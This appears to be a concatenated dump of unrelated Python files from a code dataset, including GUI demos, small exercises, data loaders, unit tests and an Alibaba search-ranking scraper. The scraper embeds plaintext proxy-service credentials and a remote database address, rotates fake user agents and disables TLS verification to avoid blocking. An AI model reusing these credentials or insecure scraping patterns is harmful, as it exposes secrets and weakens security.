delete_next_state(self, features):\n self.next_states.pop(frozenset(features), None)\n\n \"\"\"\n Creates the search index\n \"\"\"\n def finalize(self):\n self.search = []\n for k in self.next_states:\n self.search.extend(k)\n self.search = list(set(self.search))\n\n \"\"\"\n Uses the input and performs a search on all possible features.\n Once a set of features is found, it uses it to identify the action and next state.\n If the set of features does not return a valid next state, \n it is presumed there is no transition and the current state remains.\n \"\"\"\n def next(self, input_data):\n found_features = []\n print('Search: {}'.format([f.name for f in self.search]))\n for feature in self.search:\n found = feature.check(input_data)\n if found:\n found_features.append(feature)\n found_features = frozenset(found_features)\n print('Found: {}'.format([f.name for f in found_features]))\n _next = self.next_states.get(found_features, ([], self))\n return _next\n\n\nclass Task2(Picklable):\n def __init__(self, name='', start=None, end=None):\n super().__init__('task', name)\n self.start = start\n self.end = end\n self.current = start\n\n def do(self, app):\n if self.start is not None:\n while self.current is not self.end:\n input_data = app.screenshot()\n actions, next = self.current.next(input_data)\n print('Current State: {}, Actions: {}, Next State: {}'.format(self.current.name, [a.name for a in actions], next.name))\n for action in actions:\n if action.feature is not None:\n app.activate_window()\n window_x, window_y = app.get_window_topleft()\n action.do(input_data, window_x, window_y, app.retina_factor)\n app.deactivate_window()\n self.current = next\n print('Task {} completed'.format(self.name))\n self.current = self.start # reset pointer\n\n\nclass Task(Picklable):\n \"\"\"\n A task is a state machine, with defined fallback state(s).\n states : a list of states in this task\n default : a list of default states to go to if the next state cannot be found after retries\n retry : the number of times the next state should be retried if it cannot be found the first time\n retry_delay : the delay between next state retries\n terminate: the consecutive number of times default states are used before the task is terminated.\n with retries, if the state is truly unknown,\n the Task will retry for a total number of retry * terminate times before truly terminating.\n \"\"\"\n def __init__(self, name='', states=None, default=None, retry=3, terminate=5):\n super().__init__('task', name)\n\n if states is None:\n states = []\n self.states = states\n\n if default is None:\n default = []\n self.default = default\n\n self.retry = retry\n self.terminate = terminate\n\n self._current_state = None\n self._next_states = default\n self._terminate_counter = 0\n self._retry_counter = 0\n\n def do(self, input_data):\n found = False\n for state in self._next_states:\n found = state.check(input_data)\n if found:\n self._current_state = state\n self._next_states = state.next_states\n self._retry_counter = 0\n return True\n\n if not found:\n self._retry_counter += 1\n\n if self._retry_counter > self.retry:\n self._retry_counter = 0\n self._terminate_counter += 1\n self._current_state = None\n self._next_states = self.default\n\n if self._terminate_counter > self.terminate:\n return False\n return True\n","sub_path":"tars/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"440694405","text":"from PyQt5.QtCore import QParallelAnimationGroup\nfrom PyQt5.QtGui import QFont, QIcon, QWindow\nfrom PyQt5.QtWidgets import QAction, QApplication, QDesktopWidget, QMainWindow, QPushButton, QToolTip, QWidget, qApp\nimport sys\n\n\nclass MyWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n QToolTip.setFont(QFont(\"Fira Code\", 10))\n\n self.setToolTip(\"这是提示\")\n\n btn = QPushButton(\"这是按钮\", self)\n btn.setToolTip(\"这是按钮的提示 tip\")\n btn.resize(btn.sizeHint())\n # 绑定按钮事件\n btn.clicked.connect(QApplication.instance().quit)\n btn.move(50, 50)\n\n self.center()\n self.resize(100, 100)\n self.setWindowTitle(\"这是窗口\")\n self.setWindowIcon(QIcon(\"asset\\icon.png\"))\n\n self.statusBar().showMessage(\"这是状态栏\")\n\n # 菜单栏\n exit_action = QAction('&exit', self)\n exit_action.setShortcut('ctrl+q')\n exit_action.setStatusTip('退出')\n exit_action.triggered.connect(qApp.quit)\n\n menubar = self.menuBar()\n file_menu = menubar.addMenu('&file')\n file_menu.addAction(exit_action)\n self.show()\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n\ndef main():\n app = QApplication(sys.argv)\n\n w = MyWindow()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/2_simple_menu.py","file_name":"2_simple_menu.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"145910077","text":"# -*- coding: utf-8 -*-\nimport string\n\n\ndef get_text_from_file(path):\n with open(path, 'r') as f:\n lines = f.readlines()\n return lines\n\n\ndef split_text_into_words(text):\n words = []\n for line in text:\n for word in line.split():\n words.append(word)\n return words\n\n\n# Getting text from file\ntext = get_text_from_file('../resources/python_dzen.txt')\n\n# Split text lines into words\nwords = split_text_into_words(text)\n\n# Remove punctuation\nwords = [''.join(char for char in word if char not in string.punctuation) for word in words]\n\n# Save sorted words\nwith open('../out/words_acs.txt', 'w') as f:\n f.writelines(' '.join(sorted(words, key=lambda w: w.lower())))\n\nwith open('../out/words_desc.txt', 'w') as f:\n f.writelines(' '.join(sorted(words, key=lambda w: w.lower(), reverse=True)))\n","sub_path":"lesson4/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"18162944","text":"#!/usr/bin/env python 3.7\n\nalfabeto = {\n 'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5, 'f': 6, 'g': 7,\n 'h': 8, 'i': 9, 'j': 10, 'k': 11, 'l': 12, 'm': 13, 'n': 14,\n 'o': 15, 'p': 16, 'q': 17, 'r': 18, 's': 19, 't': 20,\n 'u': 21, 'v': 22, 'w':23, 'x': 24, 'y': 25, 'z': 26\n}\nfrase = input(\"Ingresa tu frase: \")\n# Variables que utilizaremos para almacenar\n# el cofigo de la frase y el formato de salida.\ncodigo = ''\nformato = ''\n\n# Buscando las letras en el alfabeto\n# para localizar su codigo\nfor letra in frase:\n if letra in alfabeto.keys():\n codigo += str(alfabeto[letra])\n formato += f\"{letra}({str(alfabeto[letra])}) \"\n\nprint(codigo, formato)","sub_path":"ejercicios/alfabeto.py","file_name":"alfabeto.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649437703","text":"import multiprocessing\nimport requests\nimport json\nimport pandas as pd\nimport numpy as np\nimport pymysql\n\n#################################\n# 最新接口\n\n# jinpan_url = \"http://172.19.133.29:8026/getSocialFeaturesBins?identityNo=%s&create_time=%s\"\njinpan_url = \"http://127.0.0.1:5000/getSocialFeaturesBins?identityNo=%s&create_time=%s\"\n\n\ndf_all = pd.read_csv(\"data/20191031183043tj_2019_int_sample.csv\")\n# df_all = pd.read_csv(\"data/2018tmp_jk.txt\")\ndf_all = df_all.head(100000)\n\n\nprint(df_all.shape)\nprint(\"唯一md5_num\",len(np.unique(df_all.md5_num)))\n# df_all.head(3)\nprint(df_all.shape)\n\nprint(df_all.head())\n\nwrite_folder = 'data/'\n\ndef save_feature(range_index):\n\n f = open(write_folder+\"ff_opt1.csv\" ,'w')\n # range_index = range(130,140)\n line_cnt = 0\n\n # 2542 231750373882732544 feature_size not eqal 1035\n\n for index in range_index:\n # index=2542\n # index=134 # 全空\n # loan_no = df_all.loc[index, \"loan_no\"]\n create_time = df_all.loc[index, \"create_time\"]\n order_id = df_all.loc[index, \"order_id\"]\n m1_enev = df_all.loc[index, \"m1_enev\"]\n first_overdue_days = df_all.loc[index, \"first_overdue_days\"]\n product_id = df_all.loc[index, \"product_id\"]\n md5_num = df_all.loc[index, \"md5_num\"]\n slpd7 = df_all.loc[index, \"slpd7\"]\n\n\n try:\n\n\n feat_title = [\"order_id\"]\n feat_value = [str(order_id)]\n\n feat_title.append('create_time')\n feat_value.append(create_time)\n\n feat_title.append('md5_num')\n feat_value.append(str(md5_num))\n\n feat_title.append('m1_enev')\n feat_value.append(str(m1_enev))\n feat_title.append('first_overdue_days')\n feat_value.append(str(first_overdue_days))\n\n feat_title.append('product_id')\n feat_value.append(str(product_id))\n feat_title.append('slpd7')\n feat_value.append(str(slpd7))\n\n print(create_time)\n\n # create_time = create_time + ' 00:00:00'\n # create_time = create_time + ' 00:00:00'\n\n jinpan_request_url = jinpan_url % (md5_num,create_time)\n print(jinpan_request_url)\n # jinpan_request_url = \"http://47.101.206.54:8023/getModelEncyLoanFeaturesTimeback?identityNo=9d186be94f3cc676f1a9199b21e58ed6&currDate=20190701\"\n jinpan_response = requests.get(jinpan_request_url)\n features = json.loads(str(jinpan_response.content, 'utf-8')).get('result')\n # print(features.keys()\n\n # json.dump(features,open(\"/restore/working/litengfei/PaydayStandard_2/Data/jinpan_feature_eg/jinpan_feature_example.json\",\"w\"))\n\n\n for feat,value in features.items():\n # if not isinstance(value,list) and not isinstance(value,dict):\n feat_title.append(feat)\n feat_value.append(value)\n # if isinstance(value,dict):\n # for var,value_str in value.items():\n # if not isinstance(value_str,list) and not isinstance(value_str,dict):\n # feat_title.append(var)\n # feat_value.append(value_str)\n\n # print(len(feat_title), len(feat_value), \"\\n\")\n\n if len(feat_value) == 40:\n print(index, order_id)\n line_cnt = line_cnt +1\n if line_cnt == 1:\n f.write(','.join(feat_title)+'\\n')\n f.write(','.join(list(map(lambda x:str(x),feat_value)))+'\\n')\n else:\n f.write(','.join(list(map(lambda x:str(x),feat_value)))+'\\n')\n else:\n print(index, order_id, \"feature_size not eqal \",len(feat_value))\n\n except:\n raise Exception\n print(index, order_id)\n\n\nsave_feature(range(0, 100000))","sub_path":"social/get_social_feature.py","file_name":"get_social_feature.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"392456805","text":"from collections.abc import Iterable, Mapping\nfrom uuid import UUID\n\nfrom sure import assertion\n\n\n@assertion\ndef containing_item_with_attributes(context, **kwargs):\n contains = False\n if kwargs and isinstance(context.obj, Iterable):\n for item in context.obj:\n if not isinstance(item, dict):\n continue\n for k, v in kwargs.items():\n if k not in item or item[k] != v:\n break\n else:\n contains = True\n if context.negative:\n assert not contains, f\"{context.obj} contains matching item {kwargs}\"\n else:\n assert contains, f\"{context.obj} does not contain matching item {kwargs}\"\n return True\n\n\n@assertion\ndef match_dict(context, dict_value):\n assert isinstance(dict_value, Mapping), f\"Invalid match target value: {dict_value}\"\n assert isinstance(\n context.obj, Mapping\n ), f\"Expected dict like object, but got: {context.obj}\"\n\n for k, v in dict_value.items():\n assert k in context.obj, f\"No such key '{k}' in {context.obj}\"\n context.obj[k].should.equal(v)\n return True\n\n\n@assertion\ndef match_uuid4(context):\n try:\n uuid_obj = UUID(context.obj, version=4)\n except ValueError:\n return False\n return str(uuid_obj) == context.obj\n","sub_path":"tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"628091632","text":"import pandas as pd\nimport glob\n\n\ndef load_crypto_data(file_path):\n files = glob.glob(file_path + \"/*.csv\")\n result = []\n\n for file in files:\n df = pd.read_csv(file, header=0)\n result.append(df)\n return pd.concat(result, axis=0)\n","sub_path":"crypto/data_loader/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"78763584","text":"import sqlalchemy\nfrom sqlalchemy_utils.functions import database_exists, create_database\n\nfrom app import db\n\ndef db_init(app, truncate=False):\n \"\"\"\n\n :param app:\n :param truncate: if truncate, then truncate all data in this database, and create new model.\n :return:\n \"\"\"\n def create_models():\n cursor = db.session.execute(\"show tables;\")\n results = cursor.fetchall()\n if truncate:\n db.drop_all()\n db.create_all()\n return\n if not results:\n db.create_all()\n return\n\n with app.app_context():\n try:\n create_models()\n except sqlalchemy.exc.InterfaceError as interfacee:\n print(\"sqlalchemy.exc.InterfaceError: Can't connect to MySQL server\")\n # raise interfacee\n except sqlalchemy.exc.ProgrammingError as programminge:\n # print(\"sqlalchemy.exc.ProgrammingError: Unknown database \")\n # raise programminge\n engine = db.get_engine()\n if not database_exists(engine.url):\n create_database(engine.url)\n if database_exists(engine.url):\n print(\"database not exists and created\")\n else:\n print(\"Can not create database \")\n\n except Exception as e:\n raise e\n\n","sub_path":"app/models/db_ops.py","file_name":"db_ops.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"520102732","text":"import requests\nfrom fake_useragent import UserAgent\nimport re\nimport time\nimport datetime\nua = UserAgent()\n\nappKey = \"elI5NHpPV1JEbmVEV1VDZjpZcDBSWDdLaWdFWG0zSzFR\"\nip_port = 'transfer.mogumiao.com:9001'\n\n\ncompany_name = 'Shanghai Join Plastic Products Co., Ltd.'\nimport pymongo\n# myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\nmyclient = pymongo.MongoClient(\"mongodb://47.74.64.136:27017/\")\nmydb = myclient[\"joinplastic\"]\nmycol = mydb[\"keywords\"]\n\n\ndef getNeedToSearchKeywords(x):\n now = int(round(time.time() * 1000))\n updatedAt = x[\"updatedAt\"]\n # to check keywords updated more than 2 hours\n if now - updatedAt > 1*60*60*1000:\n return True\n else:\n return False\n\n\nkeywords_obj = list(mycol.find({}))\nkeywords_obj = list(filter(getNeedToSearchKeywords,keywords_obj))\nkeywords = list(map(lambda k_o: k_o[\"keyword\"],keywords_obj))\n# keywords = keywords[190:]\n\n\n# URL = 'https://www.alibaba.com/trade/search?IndexArea=product_en&SearchText=folding_plastic_crates&f0=y&async=y&waterfallReqCount=1&XPJAX=1'\nURL = 'https://www.alibaba.com/trade/search'\nparams = {\n \"IndexArea\": 'product_en',\n \"f0\": 'y',\n \"async\": 'y',\n \"XPJAX\": '1',\n \"waterfallReqCount\": 0,\n \"SearchText\": ''\n}\n\n# proxies = {'http': 'http://H894Y5FA1ID4U3OC:8692DD878AA26060@http-cla.abuyun.com:9030'}\nproxies = {\"http\": \"http://zR94zOWRDneDWUCf:Yp0RX7KigEXm3K1Q@\" +\n ip_port, \"https\": \"https://zR94zOWRDneDWUCf:Yp0RX7KigEXm3K1Q@\" + ip_port}\n\nfor index, keyword in enumerate(keywords):\n #keyword cannot be too long\n if len(keyword) > 50:\n mycol.update({\"keyword\": keyword}, {\n \"$set\": {\n \"ali_rank\": {company_name: 0},\n \"updatedAt\": int(round(time.time() * 1000))\n }\n })\n print('keyword {} too long'.format(keyword))\n continue\n print ('\\n\\nsearch {} (number {} of {})'.format(keyword,index+1,len(keywords)))\n \n params[\"SearchText\"] = keyword.strip().replace(\" \",\"_\")\n reqCount = 0\n \n findMatch = False\n rankAccumulate = 0\n\n while not findMatch and reqCount<4:\n params[\"waterfallReqCount\"] = reqCount\n headers = {\n 'user-agent': ua.random\n }\n headers[\"Proxy-Authorization\"] = 'Basic ' + appKey\n # r = requests.get(URL, headers=headers, proxies=proxies, params=params)\n try:\n r = requests.get(URL, headers=headers, proxies=proxies, verify=False,\n params=params, allow_redirects=False)\n if \"normalList\" not in r.json():\n mycol.update({\"keyword\": keyword}, {\n \"$set\": {\n \"ali_rank\": {company_name: 0},\n \"updatedAt\": int(round(time.time() * 1000))\n }})\n print('alibaba no list for keyword {}'.format(keyword))\n findMatch = True\n else:\n normalList = r.json()[\"normalList\"]\n for p_index, p_list in enumerate(normalList):\n rankAccumulate += 1\n\n isP4p = p_list[\"isP4p\"]\n isBrandAd = p_list[\"isBrandAd\"]\n if not isP4p and not isBrandAd:\n productTitle = re.sub('<.*?>', '', p_list[\"productTitle\"])\n supplierName = re.sub('<.*?>', '', p_list[\"supplierName\"])\n if supplierName == company_name:\n mycol.update({\"keyword\": keyword}, {\n \"$set\": {\n \"ali_rank\": {company_name: rankAccumulate},\n \"updatedAt\": int(round(time.time() * 1000))\n }})\n findMatch = True\n print('found keyword {} ranked {}'.format(\n keyword, rankAccumulate))\n break\n if reqCount == 3 and not findMatch and (p_index == len(normalList)-1):\n mycol.update({\"keyword\": keyword}, {\n \"$set\": {\n \"ali_rank\": {company_name: 0},\n \"updatedAt\": int(round(time.time() * 1000))\n }})\n print('not found keyword {}'.format(keyword))\n reqCount += 1\n except Exception:\n print(Exception)\n \n","sub_path":"Python/requests_alibaba_json.py","file_name":"requests_alibaba_json.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"493281990","text":"# Exercise AM\n# JSON & XML\n\nimport json\n\n# python string\njson_string = '{\"name\": \"Juan Dela Cruz\", \"age\": 11}'\n\n# process string into dict\njson_dict = json.loads(json_string)\n\n# get values from dict\nname = json_dict[\"name\"]\nage = json_dict[\"age\"]\n\nprint(f\"\\n{name} is {age} years old.\")\n\n# python int, float, boolean, etc.\ndata_int = 13\nprint(\"int\", json.dumps(data_int)) # convert to json\n# python list\ndata_list = [\"Maria Dela Cruz\", 13]\nprint(\"list\", json.dumps(data_list))\n# python tuple\ndata_tuple = (\"Maria Dela Cruz\", 13)\nprint(\"tuple\", json.dumps(data_tuple))\n# python dict\ndata_dict = {\"name\": \"Maria Dela Cruz\", \"age\": 13}\nprint(\"dict\", json.dumps(data_dict))\n\n# complex dict\nbookshelf = {\n \"location\": \"A1-100\",\n \"genre\": (\"fantasy\", \"sci-fi\", \"zombie\"),\n \"shelves\": 5,\n \"sorted\": True,\n \"top-books\": [\n {\"title\": \"Hello, world\", \"author\": \"Juan D.C.\", \"pages\": 326, \"rating\": 4.73},\n {\"title\": \"Underwater War\", \"author\": \"Maria O.P.\", \"pages\": 419, \"rating\": 4.43}\n ]\n}\n\nprint(\"\\nBookshelf:\\n\\t\", json.dumps(bookshelf))\n\n# XML\n\n\n\n","sub_path":"beginner/exercise_am_serialization.py","file_name":"exercise_am_serialization.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"348557111","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport subprocess\nimport time\nimport random\nimport os\nimport datetime\n\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\nCHECKER_PATH = \"Checker.py\"\nCHECKER_PATH_ABS = os.path.join(DIR_PATH, CHECKER_PATH)\n\nSTATUS_PATH = \"status.log\"\nSTATUS_PATH_ABS = os.path.join(DIR_PATH, STATUS_PATH)\n\nLOG_PATH = \"error.log\"\nLOG_PATH_ABS = os.path.join(DIR_PATH, LOG_PATH)\n\nwhile True: \n\tcmd = ['python3', CHECKER_PATH_ABS]\n\n\twith open(STATUS_PATH_ABS, \"w+\") as f:\n\t\tprint(\"Start Login, see the log file {} for the program output\".format(STATUS_PATH_ABS))\n\t\tproc = subprocess.Popen(cmd, stdout=f, stderr=subprocess.PIPE)\n\t\t\n\t\twith open(LOG_PATH_ABS, \"a+\") as errfile:\n\n\t\t\terrfile.write(\"------------- NEW ERROR FROM EXCECUTION ---------------\")\n\t\t\tfor line in proc.stderr:\n\t\t\t\tsys.stdout.write(line)\n\t\t\t\terrfile.write(line)\n\n\t\tproc.wait()\n\n\n\n\twaittime = random.randint(10, 3600)\n\tprint(\"Wait for {} seconds ({:.2f} hours)\".format(waittime, waittime/60/60))\n\ttime.sleep(waittime)\n\n","sub_path":"automate.py","file_name":"automate.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"469569892","text":"from cs50 import get_float\n\ndef main():\n while True:\n change = get_float(\"Change owed: \")\n if change > 0:\n break\n\n change = round(change * 100)\n coins_needed = 0\n denominations = [25, 10, 5, 1]\n\n\n for i in denominations:\n if i <= change:\n coins_needed += change // i\n change -= (change // i) * i\n\n print(coins_needed)\n\nmain()","sub_path":"lecture_6/cash/cash.py","file_name":"cash.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"347538298","text":"import sys\ns=str(input())\nj='qwertyuiopasdfghjklzxcvbnm'\nfor x in range(0,len(s)):\n c=1\n ch=s[x]\n c=s.count(ch)\n if c>1:\n print('bad')\n sys.exit(0)\nprint('good')\n \n \n\n\n \n","sub_path":"Python/goodbadwords.py","file_name":"goodbadwords.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"209804301","text":"\"\"\"\nCopyright (c) 2017 Dell Inc. or its subsidiaries. All Rights Reserved.\n\"\"\"\nimport unittest\nimport os\nfrom . import test_data\nfrom deploy_isolation import DeploymentIsolater\n\n\nclass TestDeployIsolation(unittest.TestCase):\n def setUp(self):\n self.__cfg_test_data_dir = test_data.get_config_tests_path()\n our_vars = ['AM_RACKHD_USER_FILE', 'AM_RACKHD_PW_FILE', 'AM_SERVICENOW_USER_FILE',\n 'AM_SERVICENOW_PW_FILE', 'AM_CONFIG_FILE', \"AM_CFG_ROOT\"]\n self.__save_env = os.environ.copy()\n for var in our_vars:\n if var in os.environ:\n del os.environ[var]\n self.__deployment_isolator = DeploymentIsolater()\n\n def tearDown(self):\n os.environ = self.__save_env\n\n def __set_am_config(self, cfg_file):\n cfg_path = os.path.join(self.__cfg_test_data_dir, cfg_file)\n os.environ['AM_CONFIG_FILE'] = cfg_path\n return cfg_path\n\n def __set_secret(self, cfg_set, whom, what):\n cfg_dir = os.path.join(self.__cfg_test_data_dir, cfg_set)\n env_var = \"AM_{}_{}_FILE\".format(whom.upper(), what.upper())\n env_value = os.path.join(cfg_dir, \"{}_{}\".format(whom, what))\n os.environ[env_var] = env_value\n return env_value\n\n def test_am_config_file_env(self):\n cfg_path = self.__set_am_config('test-set-1')\n cfg = self.__deployment_isolator.get_config()\n self.__validate_value(cfg, cfg_path, [\"rackhd\", \"httpEndpoints\", 0, \"address\"], \"test_set_1_address\")\n\n def test_am_rackhd_user_env(self):\n cfg_path = self.__set_secret('test-set-1-secrets', 'rackhd', 'user')\n cfg = self.__deployment_isolator.get_config()\n self.__validate_value(cfg, cfg_path, [\"rackhd\", \"credentials\", \"user\"], \"test-set-1-rackhd-user\")\n\n def test_am_rackhd_pw_env(self):\n cfg_path = self.__set_secret('test-set-1-secrets', 'rackhd', 'pw')\n cfg = self.__deployment_isolator.get_config()\n self.__validate_value(cfg, cfg_path, [\"rackhd\", \"credentials\", \"pwd\"], \"test-set-1-rackhd-pw\")\n\n def test_am_servicenow_user_env(self):\n cfg_path = self.__set_secret('test-set-1-secrets', 'servicenow', 'user')\n cfg = self.__deployment_isolator.get_config()\n self.__validate_value(cfg, cfg_path, [\"servicenow\", \"credentials\", \"user\"], \"test-set-1-servicenow-user\")\n\n def test_am_servicenow_pw_env(self):\n cfg_path = self.__set_secret('test-set-1-secrets', 'servicenow', 'pw')\n cfg = self.__deployment_isolator.get_config()\n self.__validate_value(cfg, cfg_path, [\"servicenow\", \"credentials\", \"pwd\"], \"test-set-1-servicenow-pw\")\n\n def test_is_rackhd_configured_when_not(self):\n self.__set_am_config('test-set-1')\n for rackhd_cfg in self.__deployment_isolator.rackhd_config_instances():\n self.assertFalse(rackhd_cfg.is_rackhd_configured())\n\n def test_is_rackhd_configured_when_it_has_a_pw(self):\n self.__set_secret('test-set-1-secrets', 'rackhd', 'pw')\n for rackhd_cfg in self.__deployment_isolator.rackhd_config_instances():\n self.assertTrue(rackhd_cfg.is_rackhd_configured())\n\n def __validate_value(self, cfg, cfg_path, key_list, expected_value):\n self.assertIsNotNone(cfg, '{} file appears to not have parsed'.format(cfg_path))\n cur_cfg = cfg\n for key in key_list:\n if isinstance(key, int):\n self.assertLess(key, len(cur_cfg), 'index {} outside list {} in {}'.format(key, cur_cfg, cfg))\n else:\n self.assertIn(key, cur_cfg, 'key {} not in {} for {}'.format(key, cur_cfg, cfg))\n cur_cfg = cur_cfg[key]\n\n self.assertEquals(cur_cfg, expected_value, '{} was not {} in {}'.format(cur_cfg, expected_value, cfg))\n","sub_path":"tests/unittests/test_deploy_isolation.py","file_name":"test_deploy_isolation.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"513556333","text":"\"\"\"\nFunction: polykappa(c)\n\nDescription: Calculates the value(s) of K for finding the roots of\n x^2 - 2x + c = 0 for some value of c.\n\nInputs: c - the value of c to evaluate with\n\nOutputs: the value of K\n\"\"\"\n\nfrom numpy import sqrt\n\n\n# Finds the roots of x^2 - 2x + c = 0 for the given value of c\ndef roots(c):\n r = [0]*2\n r[0] = 1 + sqrt(1-c)\n r[1] = 1 - sqrt(1-c)\n\n return r\n\n\n# Finds K for each root of x^2 - 2x + c = 0 for the given value of c\ndef kappas(c):\n k = [0]*2\n k[0] = abs(c/(2*sqrt(1-c) + 2 - 2*c))\n k[1] = abs(c/(2*sqrt(1-c) - 2 + 2*c))\n\n return k\n\n\n# Test when c = 1 - 1e-16\n# Will fail because of CC!\ndef main():\n c = 1 - 1e-16\n r = roots(c)\n k = kappas(c)\n print(\"When x = {0}, K = {1}\".format(r[0],k[0]))\n print(\"When x = {0}, K = {1}\".format(r[1],k[1]))\n\n\nmain()","sub_path":"Homework 2/Code/polykappa.py","file_name":"polykappa.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"373150249","text":"import time\nimport euler\n\neuler.print_problem(3)\nstart = time.time()\n\n# ==================================================\nx = 600851475143\n\nfactors = []\nloop = 2\n\nwhile loop <= x:\n if x % loop == 0:\n x /= loop\n factors.append(loop)\n else:\n loop += 1\n\nprint(\"The Answer is: %i\" % max(factors))\n# ==================================================\n\nend = time.time()\ntime = end - start\n\nprint(\"This took %s seconds\" % time)\n","sub_path":"python/000-050/euler003.py","file_name":"euler003.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"568564675","text":"__author__ = 'root'\n\n# template for \"Stopwatch: The Game\"\nimport simpleguitk as simplegui\n# define global variables\na = \"0\"\nb = \"00\"\nc = \"0\"\n\ncount = 0\n#success when count is at 0\nsuccessStop = 0\n\n#overall stop count for button stop\ntotalStop = 0\n\n#interval of 0.1\ninterval = 100\n\n# define helper function format that converts time\n# in tenths of seconds into formatted string A:BC.D\ndef format(t):\n global a\n global b\n global c\n\n value = str(t)\n\n a = value[-1]\n\n length = len(value) - 1\n\n #get the strings from 0 to penultimate letter\n mid = value[0:length]\n\n #return the default values if mid\n #is empty\n if mid == \"\":\n return c + \":\" + b+ \".\" + a\n\n else:\n\n\n intMid = int(mid)\n\n\n if intMid < 60:\n b = str(intMid)\n if len(b) < 2:\n return c + \":0\" + b+ \".\" + a\n\n else:\n return c + \":\" + b+ \".\" + a\n\n\n else:\n hour = intMid/60\n min = intMid % 60\n c = str(hour)\n b = str(min)\n\n if len(b) < 2:\n return c + \":0\" + b+ \".\" + a\n else:\n return c + \":\" + b+ \".\" + a\n\n\n\n\n# define event handlers for buttons; \"Start\", \"Stop\", \"Reset\"\n\ndef start():\n timer.start()\n\ndef stop():\n timer.stop()\n\n global successStop\n global totalStop\n global count\n\n totalStop = totalStop + 1\n\n if count == 0:\n successStop = successStop + 1\n\n\n\n\ndef reset():\n global count\n\n global a\n global b\n global c\n\n global successStop\n global totalStop\n\n successStop =0\n totalStop = 0\n\n #get the variables to ensure d right formatter is being displayed\n a = \"0\"\n b = \"00\"\n c = \"0\"\n\n\n count = 0\n timer.stop()\n \n\n\n# define event handler for timer with 0.1 sec interval\ndef myTime():\n\n global count\n count = count + 1\n\n\n# define draw handler\ndef draw_handler(canvas):\n canvas.draw_text(format(count), [50, 150], 40, \"Red\")\n canvas.draw_text(str(successStop) + \"/\"+ str(totalStop), [230, 50], 20, \"Green\")\n\n\n\n# create frame\nframe = simplegui.create_frame(\"stop watch\", 300, 200)\n\n#create timer\n\ntimer = simplegui.create_timer(interval, myTime)\n\n# register event handlers\nframe.set_draw_handler(draw_handler)\nframe.add_button(\"start\", start, 40)\nframe.add_button(\"stop\", stop, 40)\nframe.add_button(\"reset\", reset, 40)\n\n\n\n# start frame\nframe.start()\n\n\n\n# Please remember to review the grading rubric\n","sub_path":"coursera assignment/stop_watch.py","file_name":"stop_watch.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383438724","text":"import torch\nimport torch.cuda as cuda\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nfrom torch.autograd import Variable\nfrom ImageNet import ImageNet\n# Torchvision module contains various utilities, classes, models and datasets\n# used towards computer vision usecases\nfrom torchvision import datasets\nfrom torchvision import transforms\nfrom torchvision import models\nfrom torch.nn import functional as F\n\n#pathlib can handle the filePath across platform\nfrom pathlib import Path, PureWindowsPath\n# transformation defined the function of data argument\n# ToTensor() : Converts a PIL Image or numpy.ndarray (H x W x C) in the range\n# [0, 255] to a torch.FloatTensor of shape (C x H x W) in the range [0.0, 1.0].\n\n\ndef show_img(orig, noisy, denoised):\n fig = plt.figure()\n\n orig = orig.swapaxes(0, 1).swapaxes(1, 2)\n noisy = noisy.swapaxes(0, 1).swapaxes(1, 2)\n denoised = denoised.swapaxes(0, 1).swapaxes(1, 2)\n\n # Normalize for display purpose\n orig = (orig - orig.min()) / (orig.max() - orig.min())\n noisy = (noisy - noisy.min()) / (noisy.max() - noisy.min())\n denoised = (denoised - denoised.min()) / (denoised.max() - denoised.min())\n\n fig.add_subplot(1, 3, 1, title='Original')\n plt.imshow(orig)\n\n 